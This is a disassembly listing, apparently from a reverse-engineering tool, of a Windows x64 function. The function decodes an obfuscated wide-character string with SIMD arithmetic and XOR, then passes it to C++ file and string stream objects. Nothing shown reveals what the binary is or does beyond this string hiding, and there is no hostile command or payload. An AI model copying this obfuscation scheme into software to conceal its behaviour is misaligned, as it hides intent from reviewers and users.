movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x140277ac8]
movq qword [rbp - 0x30], xmm12
movzx eax, word [0x140277ad0]
mov word [rbp - 0x28], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401f8985
movdqa xmm6, xmmword [0x140279690]
movdqa xmm7, xmmword [0x1402796b0]
movdqa xmm9, xmmword [str.kkkkoooo]
movdqa xmm8, xmmword [0x1402796c0]
movdqa xmm10, xmmword [str.AAAAAAAA]
movdqa xmm5, xmmword [0x140279550]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x140279570]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x140279590]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x6b
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x41
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x1401f8990
lea rdx, [rbp - 0x40]
mov rcx, r11
call fcn.1402426d0
lea rcx, [rbp + 0x138]
call fcn.140240900
test rax, rax
jne 0x1401f8a25
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x20]
call fcn.140240ed0
movups xmm0, xmmword [rbp]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [r13 + 0x10], xmm1
movdqa xmm0, xmmword [0x140279530]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r15w
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.14023dc00
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140240ed0
nop
lea rcx, [rbp + 0x20]
call fcn.140240ed0
nop
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0x40], rax
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0x3c], r8d
jmp 0x1401f8bb6
xor ebx, ebx
mov word [rsp + 0x30], bx
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], rbx
lea rax, [rsp + 0x30]
nop dword [rax]
inc rsi
cmp word [rax + rsi*2], bx
jne 0x1401f8b10
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, r13
call fcn.140244500
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.14023dc00
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140240ed0
nop
lea rcx, [rbp + 0x20]
call fcn.140240ed0
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.14023e2a0
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r13
mov rcx, qword [rbp + 0x17e0]
xor rcx, rsp
call fcn.1402662e0
lea r11, [rsp + 0x1960]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret